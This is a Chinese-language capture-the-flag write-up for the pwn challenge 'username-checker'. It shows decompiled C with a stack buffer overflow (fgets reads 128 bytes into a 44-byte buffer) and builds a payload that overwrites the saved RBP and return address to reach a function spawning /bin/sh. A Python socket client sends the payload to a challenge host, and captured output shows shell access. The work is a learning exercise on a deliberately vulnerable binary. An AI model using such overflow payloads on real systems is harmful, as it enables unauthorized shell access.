嗯没错,你正在看一个很烂的Write-Up.
pwn/username-checker
下载附件,得到一个checker和详细的容器配置。分析check的main如下:
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
puts("~-~ username-checker ~-~");
return check_username();
}
进入check_username()如下:
__int64 check_username()
{
size_t v1; // rbx
char s[44]; // [rsp+0h] [rbp-40h] BYREF
int i; // [rsp+2Ch] [rbp-14h]
printf("please enter a username you want to check: ");
fgets(s, 128, stdin);
s[strcspn(s, "\n")] = 0;
if ( strlen(s) <= 0xF )
{
for ( i = 0; ; ++i )
{
v1 = i;
if ( v1 >= strlen(s) )
break;
if ( ((*__ctype_b_loc())[s[i]] & 8) == 0 && s[i] != 95 && s[i] != 91 && s[i] != 93 && s[i] != 45 && s[i] != 32 )
{
puts("username contains invalid characters");
return 1;
}
}
if ( !strcmp(s, "super_secret_username") )
win();
else
puts("username is valid!");
return 0;
}
else
{
puts("username is too long");
return 1;
}
}
查看win()发现:
int win()
{
puts("how did you get here?");
return system("/bin/sh");
}
根据容器配置
COPY checker run
COPY flag.txt .
我们可以断言作者可能希望我们拿到shell并cat flag.txt来获得flag。
分析check_username()
要进入win分支,需要满足3个条件:
- 文本长度小于15
- 文本每个字符可以是数字,符号等
- 名字必须是
super_secret_username
可发现1、3互斥。所以不能使用正常思路解题。
注意到
char s[44];
...
printf("please enter a username you want to check: ");
fgets(s, 128, stdin);
缓冲区s的大小是44字节,但fgets允许读入128字节。也许可以产生overflow。
通过gdb的观察可以发现与之有关的大概结构:
HIGH
+------------------------------+
| 旧 RIP |
+------------------------------+
| 旧 RBP |
+------------------------------+
| 4b | (padding)
+------------------------------+
| RBX |
+------------------------------+
| 12b | (可能是padding+int)
+------------------------------+
| char s[44]; |
+------------------------------+
LOW
于是便可构造一个字符数组,复写RBP,RIP
为了让程序正常运行,我将沿用当前rbp地址,并只覆写rip,
这样做即可在ret (pop rbp, pop rip)的时候,rbp不变,仅改变rip,以此达到和JMP等效的作用。
根据gdb显示发现(断点于check_username()进入后),此帧rbp地址为0x007FFFFFFFDA40。
改变rip后,我们需要call win(),我选择跳转到check_username()中判断成功准备执行win()处:0x00000000004013AD
于是可以按下列方法构造
+----------+---------+---------+
| ANY(64b) | RBP(8b) | RIP(8b) |
+----------+---------+---------+
例如我使用的:
'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck\x40\xda\xff\xff\xff\x7f\x00\x00\xAD\x13\x40\x00\0\0\0\0\n'
完成。
然后使用python的pwn库,或者自己随便写一个tcp client就行了,这里我选择的是后者,因为写好之前我还不知道有pwn这种东西(悲)。
#!/usr/bin/env python3
import socket
import sys
import threading
import os
def recv_forever(sock: socket.socket):
try:
while True:
data = sock.recv(4096)
if not data:
print('\n[=== 对端关闭 ===]')
os._exit(0)
sys.stdout.buffer.write(data)
sys.stdout.flush()
except OSError:
pass
def main():
if len(sys.argv) != 3:
print('Usage: python tcp_tool.py <host> <port>')
sys.exit(1)
host, port = sys.argv[1], int(sys.argv[2])
sock = socket.create_connection((host, port))
print(f'[=== 已连接 {host}:{port} ===]')
threading.Thread(target=recv_forever, args=(sock,), daemon=True).start()
try:
while True:
try:
line = input()
if line == "fuck":
a = b'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck\x40\xda\xff\xff\xff\x7f\x00\x00\xAD\x13\x40\x00\0\0\0\0\n'
sock.sendall(a)
continue
except EOFError:
break
sock.sendall(line.encode() + b'\n')
except KeyboardInterrupt:
pass
finally:
sock.shutdown(socket.SHUT_WR)
sock.close()
print('\n[=== 已断开 ===]')
if __name__ == '__main__':
main()
实现完成,使用 python xxx.py 34.14.78.95 1337 运行,
== proof-of-work: disabled ==
~-~ username-checker ~-~
please enter a username you want to check: fuck (这里输入fuck,python自动发送payload)
username is too long
how did you get here?
ls
flag.txt
run
exit
拿到shell之后cat就行了。
完毕。
没有评论